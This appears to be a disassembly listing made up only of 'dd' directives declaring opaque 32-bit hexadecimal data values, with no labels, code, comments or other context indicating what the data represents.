		dd 89AAF9B5h, 9DF8C02Ah, 0B1651E54h, 0ECC941DDh, 68B3111Eh
		dd 0C51773D8h, 70641776h, 0FF5E54C0h, 42BB0061h, 0E5199410h
		dd 78B2FDC3h, 0A4E44013h, 4C400437h, 663F28h, 4EEB4386h
		dd 2CCC2B1Fh, 0FB005F98h, 13E8E94h, 5067AC35h, 88DE808Bh
		dd 0E605CF36h, 5E7AB839h, 7B88E000h, 5DDB4Ah, 95F1FD2h
		dd 60AA27CEh, 5B002BB8h, 8D73F47h, 230F042h, 0A0E9766Eh
		dd 6C60AD17h, 0BE380148h, 0FB7385E8h, 9880E2FDh, 4C3DA256h
		dd 35809428h, 0C18A70AAh, 1016652Dh, 728AE00h, 0A21E79A6h
		dd 0E761029Ch, 17CD84E1h, 29B7E570h, 802428E8h,	0A1333BD0h
		dd 0B416D1Ch, 0A884F014h, 64F641AEh, 0A1105963h, 250D3218h
		dd 514EAB0Fh, 140050F2h, 0E497C220h, 0EAFD8180h, 0F100776Dh
		dd 1FC7D53Ah, 0E910775h, 476CB082h, 1DE03EEAh, 11F2C071h
		dd 594F40E7h, 80717E0h,	44A72821h, 0CDDA2FC0h, 80249993h
		dd 0DB070F9Eh, 38F06EF5h, 807D143Fh, 2C9F9495h,	4CC7F3h
		dd 0B2B41548h, 90C68227h
		dd 3F189D0Fh, 834BA7CFh, 53EA7C40h, 48B148C2h, 0F95B2100h
		dd 8DD23E15h, 0A9AB8E04h, 28A9E4DFh, 7AA5C5C0h,	0C800D874h
		dd 168B4CD4h, 1398DBAh,	2A9465D5h, 8C75E4AAh, 0D82E0839h
		dd 0D7263A0Bh, 54039D00h, 233E2A1Bh, 0D341F0B4h, 0A020CA0Dh
		dd 5F4678A1h, 2D742036h, 4D1367C1h, 82AB255Bh, 0ECE4A617h
		dd 0F1E1C600h, 7D93C65h, 0BFEC061Ah, 2138A66Ah,	30AA7402h
		dd 468DE865h, 0EA1E0ECh, 0C7C1A687h, 0F608EB80h, 780984D9h
		dd 0E4EA329Ch, 643B0070h, 44439179h, 78384540h,	4FC00092h
		dd 0C2B9DACh, 0DC4B12BDh, 0F9E50097h, 0AF68C1DBh, 0F009ACF4h
		dd 7ACF4608h, 538C0020h, 980D32CEh, 0FFE827CCh,	0EB706C00h
		dd 0E8B92ED3h, 0B80E3A35h, 0E2CCA302h, 1C56FE19h, 422794C0h
		dd 4C530034h, 0DE173111h, 0A50C1DAAh, 69BC233Dh, 80C8967Fh
		dd 6F0B7BC0h, 46005DC6h, 7E8D8986h, 24BA44AEh, 208A0D2h
		dd 0B0101488h, 5ACDE460h, 1E0C3797h, 0ABFC8AADh, 2BB340BCh
		dd 0D00BE1Eh, 31611116h, 0A13D65E1h, 0A8F3BA10h, 5047AFC9h
		dd 0DDD24Ah, 2719295Fh,	0F6431721h, 86B2E650h, 0B4E41116h
		dd 0C6FDDC30h, 93F80112h, 0A3AEA74Eh, 202E41h, 38B5E68Eh
		dd 8804933h, 4DE41019h,	0E70418A0h, 81F66C7Dh, 468E4h
		dd 52810C7h, 0C351ADD6h, 1576F100h, 640282F6h, 4001036Fh
		dd 0F5AEE6E1h, 0E2C69698h, 0A1472D18h, 16DCA650h, 430E17Bh
		dd 0B0DB1F4Ch, 840968D8h, 99E0E7AAh, 5EC83810h,	7192010Eh
		dd 1F205236h, 750030E7h, 1CBDE426h, 3EE94040h, 80709497h
		dd 0A661A894h, 690070DAh, 0C23847A3h, 61145676h, 962170C1h
		dd 3F82F0BFh, 722C7888h, 364D004Eh, 1DD13415h, 0CE00E056h
		dd 7305A516h, 2A28AD3Ah, 5CC8B5E5h, 3100925Ah, 0B06E1CD5h
		dd 7F0668EFh, 1DD894B6h, 7CF408h, 99FD5BDDh, 2F51A96Eh
		dd 61BDD11Dh, 0B4D02B46h, 0B0320F31h, 0B000AF3h, 4897454Eh
		dd 12A79F1Ch, 503F7DC0h, 44F6B79Eh, 0ED0622B2h,	14D8A596h
		dd 7BD1C69h, 1CDE802Fh,	11FAFE0Ah, 243DF400h, 1E2E909h
		dd 0B7A6307Eh, 0C1A53040h, 71FA5707h, 2BF0F052h, 755548C7h
		dd 0B697030Ch, 83C21A90h, 0F4143100h, 3752ECA0h, 0F8F241h
		dd 4397E906h, 77E016A6h, 0B099CC67h, 0BBD1A65Fh, 130E0111h
		dd 0DCEA5CB8h, 0FBD8CF0Dh, 3D039C07h, 3D183D4h,	0FE28017Eh
		dd 9DA48434h, 6D75CCE1h, 0E96A5A00h, 0BBAD8E73h, 0C5041CA6h
		dd 0B5340D0Dh, 4BC06E68h, 88F7F3h, 0E214B7E9h, 19AE6543h
		dd 2122A8C1h, 48C828E6h, 113E0664h, 71012BB7h, 0EE413107h
		dd 7AE30B2Fh, 8DE9007Ch, 0F028420Dh, 0A00FAD47h, 0D873DF88h
		dd 0E1D570h, 6EB9E043h,	8A5F3FFCh, 2A363A01h, 7E816630h
		dd 75E5CEC8h, 517560CDh, 0EDC8FA56h, 0D8304E01h, 853E77D0h
		dd 22EA00F2h, 8D01E2DFh, 64083B31h, 19E552E5h, 348021BFh
		dd 0F24881DAh, 4A304020h, 0D7D6D8A6h, 0E06EEB66h, 967C8054h
		dd 18327718h, 0A84F3439h, 0B3F290h, 0C608E8F0h,	59319FB8h
		dd 6D1B7407h, 0F410E4B9h, 73BC727Dh, 0FD390E36h, 0EAE089B0h
		dd 0BA3C1D95h, 0E2770E00h, 862A143Eh, 7E793010h, 7C61CFD9h
		dd 9B38921Ch, 1FE70140h, 1E5C9A2h, 54CBA5A6h, 801E37E0h
		dd 0CFD68F89h, 3D1A46B6h, 0C45651F9h, 0BF201300h, 9878A5Ah
		dd 0C08F9801h, 77969DA6h, 0A01FEAC4h, 807FB8DCh, 0B36C97BBh
		dd 33AF9859h, 8D11B434h, 0A43A37E8h, 443F610Eh,	38FCC114h
		dd 0B9807D79h, 0AB9C97CDh, 2A00F303h, 0C999CB27h, 54DFBC9Ah
		dd 782CA017h, 30B812DEh, 6F1C0010h, 92E87238h, 6B906D0Fh
		dd 0F94C40E7h, 0F082C7Bh, 762405D0h, 0C044FA54h, 0DBC18846h
		dd 0F8AF8E18h, 1FD2F006h, 40B1F62Bh, 3278B736h,	5C24D773h
		dd 9C0354BFh, 6E92C97h,	0FFBB8B70h, 7D0149B1h, 1017A314h
		dd 0A1F0796Ah, 0FA96E0B5h, 903D5052h, 0A84754F8h, 0C91B60D9h
		dd 0E8AD1209h, 0A7003590h, 1EFE9CE4h, 33F1D08h,	2F87EF6Dh
		dd 10005815h, 1BEABB60h, 2544341h, 9FAFAB67h, 9CA0777Eh
		dd 0CFF1621Dh, 85E0400h, 53C7CEA7h, 0E1BF1507h,	0F3001437h
		dd 0BD84B352h, 55032303h, 685A27ACh, 0E9108881h, 1E400ECh
		dd 0BC7C65A7h, 0B354EFB4h, 11301AECh, 0B72BC688h, 220CA0F5h
		dd 85D9009Ch, 36DBA23Bh, 8CE8A5A1h, 7822F5h, 0C1FC8FD4h
		dd 3DC428A6h, 0F700A547h, 4B14D151h, 3205E38Ch,	0AEFFB903h
		dd 7F58A851h, 5C1C7400h, 0A8ADDFCBh, 1A7C51h, 59BE585Ah
		dd 9F345B3Ch, 306E1003h, 9B770135h, 30797B81h, 0DC49717Eh
		dd 8671BB30h, 0ADD8FB17h, 73D2BA00h, 9394B9EEh,	0F51658h
		dd 7ABB4318h, 613B462Ch, 77EC486Eh, 2123F901h, 6DC86B9Ch
		dd 77392880h, 0C25E3D0Bh, 0BE0006F8h, 0EAE7869Fh, 0C04803B9h
		dd 0BA186359h, 11C5A996h, 0C823A079h, 9C5A007Dh, 7EE38940h
		dd 3103A36Ah, 67BE13D3h, 50AA8870h, 204649D1h, 0DE08A600h
		dd 0E323A9F0h, 726D8D01h, 5B4E7A45h, 701FB4C8h,	8861B0E5h
		dd 11C3ED0h, 0EDAE306Ah, 0D5E37B8Bh, 0DCD08383h, 0ABC40727h
		dd 6990058h, 43D84D81h,	7D0F8DBCh, 20275101h, 4AE9154Ch
		dd 0BAC10A58h, 11641D03h, 4CE21D84h, 0D2CF4743h, 0F1C4B817h
		dd 91710782h, 30E1D9EEh, 0A4A6FFDCh, 7BA4CA48h,	5BC03A00h
		dd 64393F4Ch, 48574C11h, 264886C0h, 0EE0E01A1h,	61142008h
		dd 0E96F80ECh, 8F070433h, 0D0B5114Eh, 9FE041D6h, 0BB0C20B3h
		dd 17F299Ah, 87C23631h,	0D957BD81h, 0EA198012h,	0AA867B5Eh
		dd 0B5CA488Ch, 1FAC6C0Fh, 0CE21E580h, 3FEC9D72h, 0B5447890h
		dd 50D213BBh, 0D90800E1h, 0C21D0189h, 9847254h,	0FC0FCDF4h
		dd 65D45932h, 0E700194Eh, 0C2E928BAh, 0E8520048h, 0D1EA9771h
		dd 12B86CC5h, 2D5ECB12h, 3D599C00h, 983D7h, 553A45BCh
		dd 3B4CD58h, 404B893h, 811E187Dh, 0C332CCC2h, 2BB4C4CEh
		dd 0A829B065h, 3FD882AFh, 4C7068C6h, 0B4B18D0Fh, 3F2958F0h
		dd 80C09943h, 0DD4F8EAh, 900097ADh, 0D21001E7h,	930CBB8h
		dd 6094E212h, 31A20CDFh, 0CFA7Eh, 0F44F7514h, 0AA3A5263h
		dd 411FCC00h, 0B335946Eh, 67B772FAh, 0A43E714Ch, 0DCA89116h
		dd 812E600Ah, 9F591D00h, 0CEBD4614h, 0A8610A36h, 94D44D37h
		dd 3316F72Dh, 0D4781C47h, 0A201AB87h, 0E4F9C9C0h, 8F2BC85Bh
		dd 0A56B3600h, 671AF0EAh, 0F7B428AEh, 0D7310074h, 6F23981Bh
		dd 0D5000915h, 3751363Bh, 91D69B13h, 7CC8802Ch,	7055970Ch
		dd 2A0B3902h, 923377EEh, 6DFC80A4h, 0C99044h, 4769AAACh
		dd 0F9D7E452h, 30E72B2Ch, 0DF217D60h, 0D02A00FBh, 821C1947h
		dd 8800DD68h, 0C16F949Fh, 76603C7h, 1AA82B43h, 0BAACDA34h
		dd 0FE694854h, 0E45A0039h, 0A568D28Eh, 93006167h, 0AEE781C7h
		dd 4E9189Ch, 0F4F522C5h, 4238A4DEh, 0DBBABB00h,	5E462656h
		dd 44EC5CFCh, 9F097E22h, 8434E911h, 1154AB94h, 27291C0Eh
		dd 0BED0800h, 0D800B868h, 0CCA6CD67h, 6034230Fh, 91A4E143h
		dd 212C8D41h, 32005C65h, 16F4C281h, 1EC051Ch, 0C7597013h
		dd 0B7867384h, 1BD888E8h, 0EA9A908Bh, 0F602000Ch, 7B1CE50Bh
		dd 0A4035F2Bh, 0FEBB8ADBh, 2069504Ah, 1DB9D608h, 0E2E2230h
		dd 1C122888h, 877B2844h, 22B450C2h, 4409B7h, 0E0D952h
		dd 26451ACDh, 6F770CCEh, 378A2181h, 38310038h, 4FA4592Eh
		dd 3016FC7Fh, 0E409DA7Dh, 0FC430F0h, 0C93412A9h, 401C8D93h
		dd 0B7706810h, 5165D87Dh
		dd 388259D0h, 2908E003h, 7B2E0636h, 0D08D3F1Ah,	78DB4844h
		dd 8985062h, 30240064h,	0D454B421h, 86076B20h, 2B55E332h
		dd 4FCC51D0h, 0D0EF0063h, 0F6AA8FEBh, 3F18B9E7h, 0DD293718h
		dd 0C6C32CE1h, 221303h,	12F229EDh, 2738665h, 0DA267001h
		dd 8EBEDE41h, 60597EF4h, 0B33360E4h, 73016122h,	4CD68D88h
		dd 188E7F9Eh, 0B809BE3h, 5275DD8Eh, 0E7A59A00h,	0EEA256E2h
		dd 45AB0102h, 1E64D328h, 9F6EF86Ah, 84B28000h, 0CF717320h
		dd 0C0917754h, 58974CC9h, 1B1B92C9h, 0E060061Dh, 0F247686Eh
		dd 21491D04h, 31C3D8B2h, 0E1C3DB7h, 0CD00FA91h,	0AEEA6422h
		dd 1EAA005Ah, 829D564Ah, 0EC031DDEh, 5B2AFA09h,	21D101E9h
		dd 39C18A13h, 87B3E894h, 44181406h, 77D95499h, 0FECA0074h
		dd 0E9EAAF4Ch, 1A18BEF1h, 0AE30A03Ah, 832900F4h, 0F9F5D00Ah
		dd 0B9F8A7C3h, 0A0CBA300h, 0E9E626Dh, 718160B2h, 0A49FDE8Fh
		dd 68398490h, 3D1D9508h, 62891FCCh, 0DBC0DC5Ch,	0FB98822Eh
		dd 0C4A73BC5h, 6C9D9107h, 6960CCF0h, 72ADE203h,	752F834h
		dd 7BDE56A9h, 4122704Bh, 15541EBAh, 0D7F6B89Ch,	8D7CB300h
		dd 8E2AE1D3h, 396B6099h, 4E3B9501h, 270823F6h, 80091803h
		dd 0E7FA39DFh, 210FA3DAh, 25C230h, 9D280FEh, 0D6C61ED0h
		dd 0BAF94370h, 0F8283588h, 0EC50B073h, 6D18F8B8h, 0D76856D2h
		dd 3AD02481h, 0CF3B0100h, 0C4F49138h, 70009871h, 2B581CBDh
		dd 0EA8A4Dh, 83E0C349h,	0FAAF7E0Eh, 7D541215h, 0DAFC00A0h
		dd 0FB168E91h, 0A68107B8h, 0E0805010h, 8F7AC28Ch, 55A05900h
		dd 0AA1A2F57h, 0AB561204h, 6B6040CFh, 5E1CD5C6h, 91309C90h
		dd 4C8119CDh, 8B040E87h, 0D0748DBFh, 0A7D03200h, 0E4F2CD52h
		dd 0F831D528h, 42063C06h, 198027Fh, 68494827h, 2219C8B1h
		dd 825A00B0h, 0FB22E88Eh, 0E6F70083h, 1B73160Eh, 3C015094h
		dd 2ABDCC5Ah, 60243868h, 0E65FF86Fh, 0D6D8007Ch, 0BFA6C0F4h
		dd 9C00B779h, 0D698587h, 3893FDFh, 0FBE3301Ah, 90078A0Bh
		dd 7E841EB1h, 3465DF50h, 0E3B8A862h, 0E009118h,	28C1661Eh
		dd 0EC89539Eh, 210AAF2Dh, 80CE9A6Bh, 0A84BBD80h, 246482C2h
		dd 0B078FEh, 98DDE130h,	0D9CA8D56h, 0C560C42Bh,	2CF0E1Eh
		dd 24BAD19Eh, 403FCAh, 8730563Ch, 4E363130h, 7AA00145h
		dd 2086E81Ah, 25E1DC8Fh, 791B0458h, 801E2600h, 0A1AEBAC9h
		dd 0E4053AFFh, 0C007B31Eh, 2E377981h, 92008A7Ah, 0D2950AEh
		dd 18A331FBh, 307ED3AAh, 1F7BA69Eh, 740067F2h, 80763B8Fh
		dd 0C627C3h, 99D2923h, 0A19E0604h, 0FE0FB9FAh, 9BF496F6h
		dd 52E3C870h, 243101B2h, 3830E49Eh, 920EEC69h, 0DCA9B300h
		dd 0D0775523h, 685D01CBh, 7F84C81Dh, 0FF50800Ah, 8099CDA0h
		dd 26630EA5h, 16000B49h, 84B5EDC4h, 29CF09E2h, 0FD5B2022h
		dd 6F6949E7h, 0A680B8F8h, 67FCF148h, 3012FE12h,	3C1BDF00h
		dd 6DCB2Dh, 46BFAD16h, 2AA1580Fh, 31F18360h, 0E842340h
		dd 6DA35537h, 78B2AAA6h, 81C8A101h, 2196C038h, 0E265E1CCh
		dd 0BDE3154Dh, 9214B0B1h, 6A0E8370h, 2A49A555h,	0D71F9E81h
		dd 0EDB860F7h, 24495401h, 9F98913Eh, 20D2C180h,	51DEB33Ah
		dd 8FC0EA00h, 0BE1E019Ah, 3559C5A5h, 0EDDA0380h, 0ECD7361Bh
		dd 0F6079E19h, 0DAAB7067h, 25232BA0h, 312C0044h, 0FB47B43Ch
		dd 0A07BB038h, 0C2C018A3h, 11C0FABAh, 0DAB65434h, 5C530768h
		dd 0C06FDF96h, 3A66C942h, 35330101h, 89D3AF60h,	3BB9419Eh
		dd 5A217B80h, 0F9DEF147h, 9472B8A8h, 3C0443Dh, 0E0A5B453h
		dd 79F2C041h, 0A4E5500Eh, 7FD63097h, 4893D549h,	0DB007476h
		dd 8B75773Bh, 2C641E4Dh, 39C1F9BAh, 0A9A7849Ah,	0B08FA980h
		dd 0B700385Bh, 8D68F422h, 6EDEAF80h, 0EB078150h, 18041197h
		dd 0BFEB2174h, 0C6CB8019h, 0DA0A2F7Fh, 0EA73E4h, 0F79F201Dh
		dd 791BCA73h, 0A0AC415Bh, 1416CC00h, 32F271A0h,	0C15B6B01h
		dd 91D31BE9h, 6445B980h, 0EEAA184Eh, 62D64C00h,	5646F586h
		dd 0BE0A008Bh, 10C27F5Fh, 250C1DF0h, 89FE049Dh,	0F89A5498h
		dd 32F900EEh, 793EBE9h,	0FB0CBAD3h, 8A5B284h, 0A0FA497Fh
		dd 80F8547Ch, 9143006Ch, 7C63B34Bh, 0D01C61Eh, 0A989275Fh
		dd 59800696h, 0AF57E492h, 47031E3Fh, 5C1B56D8h,	7C19F186h
		dd 4F01C183h, 0E690A054h, 5F03D042h, 69624134h,	92A900FBh
		dd 0C2748B65h, 4B67C171h, 0B07167C6h, 75C04369h, 0DE6D1895h
		dd 641231FAh, 8D5FAE00h, 5417065Ah, 0A49D148Eh,	0A3014C97h
		dd 7322DF1Fh, 98D53028h, 0D0DEAD29h, 63A49830h,	0DAC601B8h
		dd 726B1424h, 0D6A72067h, 71BEB6A0h, 0CE755F02h, 81226E31h
		dd 9D96C4EFh, 3F624180h, 6CA5260Bh, 0BAFA2D0Ch,	792959A9h
		dd 0C8160E06h, 0B8206040h, 0AB5503F0h, 5A37F601h, 0C06FEB7Dh
		dd 72711840h, 0CBE50335h, 54336A87h, 98DA06F8h,	0A909CF7Ah
		dd 815313C3h, 9FF7924h,	3395BC0h, 1F9291F3h, 491D9FBDh
		dd 81FA82F8h, 0C977A671h, 86F448BFh, 8BF302FAh,	1DE6B50h
		dd 401190A7h, 0E2572F76h, 1EFBFF00h, 1B67E086h,	5F4D00DFh
		dd 13B4E70h, 889189F9h,	0F4004824h, 97216E3Ah, 0DEFA15F5h
		dd 5000A80Fh, 9F1607DFh, 91F1FB5h, 8340406Bh, 0FDD8B3B9h
		dd 0E4580C12h, 8E812969h, 11E75F00h, 3233DC08h,	0F82C1C23h
		dd 281FCE7Bh, 958061CEh, 25FE6DFBh, 0A4B9AD3Eh,	0CD1CE8FFh
		dd 70BE3803h, 15639079h, 22510F31h, 0BA84ED20h,	466088BDh
		dd 87916C3Eh, 0D24ECAF9h, 0E9707120h, 0AA1D00C0h, 18C4EB23h
		dd 97F83453h, 0BDEC1254h, 0BE45430Eh, 0B187E1BCh, 0A0F0178Ah
		dd 745D0282h, 85D6CD94h, 0E87E6C49h, 0DF00277Ah, 0C777F69Ah
		dd 22295E8Bh, 1400FADEh, 0A2316523h, 3A3F616Ch,	968090ABh
		dd 80344F8Ah, 0EB111CF1h, 2600F7DEh, 86F8BF53h,	5B00820Fh
		dd 0DC1E392Ah, 26634BA6h, 9B484CAh, 741098A0h, 0AA14104Fh
		dd 1DE5BD6h, 0AB37164Ch, 2189A397h, 7D000D5Ch, 82CD5C7h
		dd 0CF458E6h, 69C23D0Ch, 1B7951h, 0BABB3221h, 858C3116h
		dd 8030BE58h, 0B7747597h, 0BC0004Eh, 4FC73CCEh,	39EC2735h
		dd 0F7ACFF00h, 681B2684h, 540E0356h, 7742E9DAh,	0F8862289h
		dd 0ACB0BED8h, 15EC683Ah, 40A0901Fh, 313DB1E8h,	10BE2C97h
		dd 0A0503B40h, 3D910376h, 340387F7h, 7DA7E9B0h,	2A2F2E00h
		dd 9D16F4B6h, 840254FCh, 91231F71h, 0D626C624h,	0C2006186h
		dd 7DB764EDh, 0C67BE7h,	0BE424B7Ah, 19DEE8F0h, 8BFA300Ch
		dd 26B79A4h, 232C88F4h,	6CC01B17h, 88B15471h, 0A6634A80h
		dd 27ECC33h, 1E86F1Ah, 484111CAh, 807CC5BAh, 0FD7F6C29h
		dd 0E7F1D3EDh, 0FA37B240h, 0C934A087h, 0B77B2EEEh, 4FE96078h
		dd 8B00C45Ch, 0FC9F2377h, 0F637617Dh, 70570878h, 0D4802969h
		dd 36CFA7AFh, 0CD050E4Ah, 0DE0058A4h, 38080484h, 194DB600h
		dd 312BB078h, 0D5C0A06Fh, 5D978A4h, 358E702Ch, 573880FBh
		dd 3590F489h, 0D3999D63h, 2E91078Bh, 203A27D7h,	80B74896h
		dd 38387D30h, 252ABC4h,	441DA6F7h, 484273B6h, 0C4D9F427h
		dd 6754C0E8h, 265CCD9Fh, 555B023Eh, 9084FA99h, 0A6219D90h
		dd 836E04DCh, 0C81DF8EDh, 4CB07034h, 6C4CCD2Ch,	0F72A6000h
		dd 80C07Eh, 0D713A129h,	0FB2590C6h, 0AB1688F8h,	7840ADD3h
		dd 2E37FFE4h, 0EC5800B5h, 31B6699Fh, 3003D75h, 3510FB9Ah
		dd 9101C26Eh, 275E80F8h, 0E3A47BF1h, 24F1A1Ch, 34953AC0h
		dd 1E195F75h, 18F6D7D4h
		dd 189D310Bh, 0B0812C00h, 0A0E6FBEEh, 179CA420h, 1514D01h
		dd 46F03128h, 509AF97Eh, 0D50FC50h, 0C00C4C00h,	0AB59D95h
		dd 701401FFh, 2B614F96h, 63D1F578h, 0B1CB0354h,	0F037F5BBh
		dd 7D6DB85h, 1BCB771h, 447A80A8h, 210614CDh, 82915108h
		dd 4E550189h, 0FA9723C9h, 0B9BE89h, 0B0CD1641h,	3EFCA586h
		dd 384424A0h, 618AF48h,	0A7B68088h, 1DF61F34h, 0D8234069h
		dd 0FDAF6B8Ah, 997A8430h, 0FEB357FFh, 269894E6h, 0EA51144h
		dd 1AD0E4Ch, 28A60BBFh,	98BD030h, 1EE86925h, 0B8501480h
		dd 0E00CA35h, 0C189864Eh, 0FC942387h, 60752C9Dh, 0E04602Ch
		dd 0E4005C06h, 8FB40BC7h, 1F1B728h, 0CE94222Bh,	0D6CCF67Ch
		dd 40B42063h, 82470331h, 18D8006Ah, 4DBB35C8h, 74B0A756h
		dd 3EB2038h, 9A75A5A9h,	38B1EFF8h, 0BB21A112h, 80C18814h
		dd 70E399h, 0DEE62EB8h,	349D4254h, 61134B60h, 105C9A01h
		dd 0E6FA0A51h, 4E77A041h, 17834C4h, 14AFC4AAh, 361EA0F8h
		dd 0D6B00978h, 82EB8h, 0A016017Eh, 2EE0015Bh, 9DA7E50Eh
		dd 0A1218038h, 0FB8D58FAh, 1E963E7Dh, 27BDB913h, 0F9B4A094h
		dd 890003B6h, 73FB7701h, 1396118h, 794A0446h, 60A5F41Ah
		dd 5B05B5DCh, 0CE7BF749h, 62608Ch, 91704888h, 61694C20h
		dd 34921C12h, 0C3D89060h, 756A00DCh, 911C02CDh,	22016806h
		dd 6C3FC7E9h, 2843D3C6h, 4C25E801h, 63C100E1h, 487D3045h
		dd 5D004062h, 690F4A0Ch, 0AD7D308h, 0D2555CCFh,	221200DDh
		dd 3718409Ah, 0CE8BCA19h, 0AFC9E20h, 30570092h,	69EB7560h
		dd 0F800490Eh, 1F20A2C6h, 78589C0Fh, 30CD656Fh,	4A9DC6D3h
		dd 60030EAh, 0B8DF6C0h,	35AF54Ah, 0CBAA6962h, 6106D01Dh
		dd 0A045D20Ch, 6B840D91h, 0E248D598h, 1F64B240h, 4FFAAA05h
		dd 0ADC05AC0h, 14A8286h, 80B8FE35h, 0E41B3161h,	60F1C266h
		dd 6C015781h, 41C4AC70h, 0CAE4B742h, 71D5601Eh,	1A71A550h
		dd 3962A304h, 8FC7C68Ah, 428F6840h, 0C829FC9Ch,	88DE530h
		dd 3F60D9D0h, 0CDBA01E7h, 9CB513F1h, 2F54DC4Ah,	5EECC3E0h
		dd 191F5600h, 681EF004h, 21600D6h, 6A800571h, 49C9FED5h
		dd 0E86706D7h, 8B8F0361h, 0E74CB546h, 1A638AB0h, 0E5C2D1Ch
		dd 0F00A88C0h, 308EF32h, 5762DD02h, 81C02833h, 0E2050650h
		dd 2234D2B0h, 0AD68A045h, 0C0BAA44Eh, 76A78AF2h, 9D6F05FDh
		dd 0C09C6D59h, 8236DB0Dh, 6840490Ch, 776231B3h,	0B5E200B7h
		dd 16172A75h, 0D93859D2h, 12448FDAh, 5D322603h,	4AA60678h
		dd 0D1B407E6h, 0A47D7C00h, 8A42820Eh, 46F50CB9h, 2DE1B0E5h
		dd 0FF00EF73h, 0A752B2F9h, 58CA2FE1h, 88306453h, 190F1250h
		dd 0D451D210h, 8A41D70Ch, 851857DAh, 0F610E324h, 84E81F16h
		dd 9CA10D20h, 60C4E0B9h, 0A63EE57Dh, 6680804Fh,	0D5702112h
		dd 0CB8A438h, 0BA0B5709h, 2D01E911h, 0FF307A8h,	64400881h
		dd 0DBB1F0Eh, 91CB779Fh, 98EAF061h, 4849CD63h, 0C47BB06Fh
		dd 6AB80E7Ah, 0DA445BA6h, 12F6C035h, 34A87F44h,	6700C5EAh
		dd 8C732E47h, 123C3056h, 702870D1h, 37D4C248h, 0F0900500h
		dd 0FDFB52F7h, 0BB313008h, 41822549h, 0C5AF7D18h, 0D0F389h
		dd 0B34E1891h, 0AE7C3EF5h, 0E065083Dh, 72C7CA20h, 7F8F0034h
		dd 73547042h, 46004071h, 28B0F949h, 50D556C1h, 30CA6C57h
		dd 3591DF20h, 0CC480521h, 2C8700F8h, 91C16A3h, 1830A250h
		dd 1D4CA688h, 8F6B5h, 1D4E4AFCh, 333B90BCh, 0D35160AFh
		dd 0A4F26E4Dh, 1DDD00A8h, 671A4FF9h, 33003285h,	118351F0h
		dd 167357h, 0FFAEC150h,	0DA46BA87h, 0A5083413h,	0CE571306h
		dd 0EF4F0079h, 0F5019B1h, 0CA28B0E6h, 0A5153087h, 5F385ADFh
		dd 2C72B0h, 7A8289C6h, 5D65583Ch, 9C985224h, 3AA564Bh
		dd 189060F6h, 6900CBE3h, 5C7972FAh, 1DCD086h, 1B1F7AACh
		dd 0DF451A3Eh, 0DF48802Eh, 0FB437800h, 23803E2h, 7F8AB67Ah
		dd 3EC1AF02h, 8021D199h, 41CCA469h, 1A4DF7h, 926E6035h
		dd 5D762EDFh, 0FE172507h, 0B47AC671h, 4D911280h, 46195Bh
		dd 0E5F24E01h, 808418F9h, 0D738B01h, 0C70BA845h, 0D721E610h
		dd 0C14658h, 2C7FC878h,	3721FF6h, 42F9D537h, 0AA86256h
		dd 66360B8Ah, 26039C6h,	1DAC5ADDh, 0C08920h, 6F84D51Ch
		dd 0EF09293Bh, 22AA5C98h, 5AA94200h, 13BFEDE3h,	18DB883h
		dd 2E17C2A6h, 40F2AB69h, 7F19BC88h, 0F4683360h,	0F8F0C565h
		dd 732D06EFh, 61B9087Ch, 0F9A2C200h, 842A695Eh,	1B980056h
		dd 59223580h, 0B8A03039h, 7B7FEC14h, 0D1587900h, 0D2709FC2h
		dd 0F89D544Fh, 3922F6F6h, 2E0659A1h, 0B1DBF221h, 0FEE0C600h
		dd 41DF137Eh, 506D6088h, 0CB667B0Dh, 0DD782258h, 9FFAC384h
		dd 7DCD0780h, 80F458D1h, 2D210A7Ch, 80D07E08h, 0C28C946h
		dd 0DA00C771h, 891A98C8h, 4DDE4CD2h, 922C89Fh, 9E583401h
		dd 299B921Dh, 350C5C0h,	75F1319Ah, 3100E098h, 13FF0FAFh
		dd 43B55Ch, 28EB441Ah, 0F4F93974h, 0F1B8CF16h, 3BF64C20h
		dd 463A00EFh, 26CA6241h, 0C28219Fh, 70A650ABh, 85083707h
		dd 0A3A551B9h, 7B02C405h, 0CFEF8002h, 0F18880B5h, 7CCB1F1Dh
		dd 7383004Fh, 6F879256h, 0DF6FAF9Fh, 18B54FA1h,	0B0762Eh
		dd 0E8D626CBh, 0A649EF42h, 0E85B5426h, 7A9D0D00h, 3C71D35h
		dd 0CC10660Ah, 0B900DC8Bh, 0F8551902h, 5082D2D1h, 4C92D8DAh
		dd 0B58040F1h, 5D3A27D4h, 0A6A9000h, 916DAB52h,	0A7E11DE3h
		dd 9560C099h, 36EE96B6h, 0F0E752h, 3D5974C9h, 0DF4AD2E1h
		dd 7B6C05F9h, 50A08241h, 1979A864h, 9885DC1Dh, 27BF4A2h
		dd 0F65AFEAh, 34404086h, 6E12AE38h, 144033ABh, 88393A78h
		dd 1F407401h, 1671E42h,	4ED214EAh, 7E719D0Ah, 64604DD6h
		dd 24EB5811h, 127C6681h, 0E2FC017Fh, 6440AF53h,	0C028AEE4h
		dd 0BE139888h, 0B030335Bh, 125E24h, 0D376C9Ch, 0D2235581h
		dd 1EA21802h, 0C4697E0Bh, 164B00E0h, 0B5015A2Fh, 371CB912h
		dd 0A0C09931h, 28F6BD4Fh, 0BA160A40h, 809827F1h, 0B8884BF3h
		dd 0F206D89Ah, 0F9AFBB3Ah, 0F5FA0079h, 0A7F709B7h, 60005F1Ah
		dd 0EB26AE65h, 0A8CC0851h, 0E64A4h, 77AC844Bh, 4E34BCECh
		dd 0EA88AF03h, 306D57h,	3F55D0E8h, 51973C39h, 0B41FCA24h
		dd 2ED280C7h, 8F4E1C1h,	36006432h, 0D54F8B52h, 0C9E0C5DFh
		dd 45EE8000h, 61ED1149h, 179A0008h, 0BC48F3Bh, 9888D75Ch
		dd 47C1C0FAh, 3C6F0E25h, 0EAB75D00h, 36CC546Ah,	0AE5724A8h
		dd 0C0173F00h, 0F8D40EC4h, 8880C28Eh, 34FAA04Dh, 0F1B6FE0Ch
		dd 3B6A59E2h, 9412F865h, 7987002Fh, 6804CC24h, 0C9C14009h
		dd 277C480Bh, 0AD93129Dh, 53780FFFh, 0D6E71983h, 1C4939h
		dd 76523099h, 5CCEEEBEh, 4E01E939h, 0C65992ACh,	2A4980D3h
		dd 0FFE3E58Fh, 0CCD900FDh, 73FB3EC1h, 75F6DA57h, 48463F01h
		dd 0A4721231h, 136B0024h, 0C152E9h, 4879A9C2h, 62092AB8h
		dd 993E4CADh, 3E03A44h,	0E40A006Dh, 14B5853Bh, 0A4075629h
		dd 728A60ACh, 0F23C80C1h, 0B2003432h, 0CDB77913h, 2B0137A3h
		dd 0B9AF6A7h, 0B187B531h, 996D7DFEh, 0E0099448h, 2E803901h
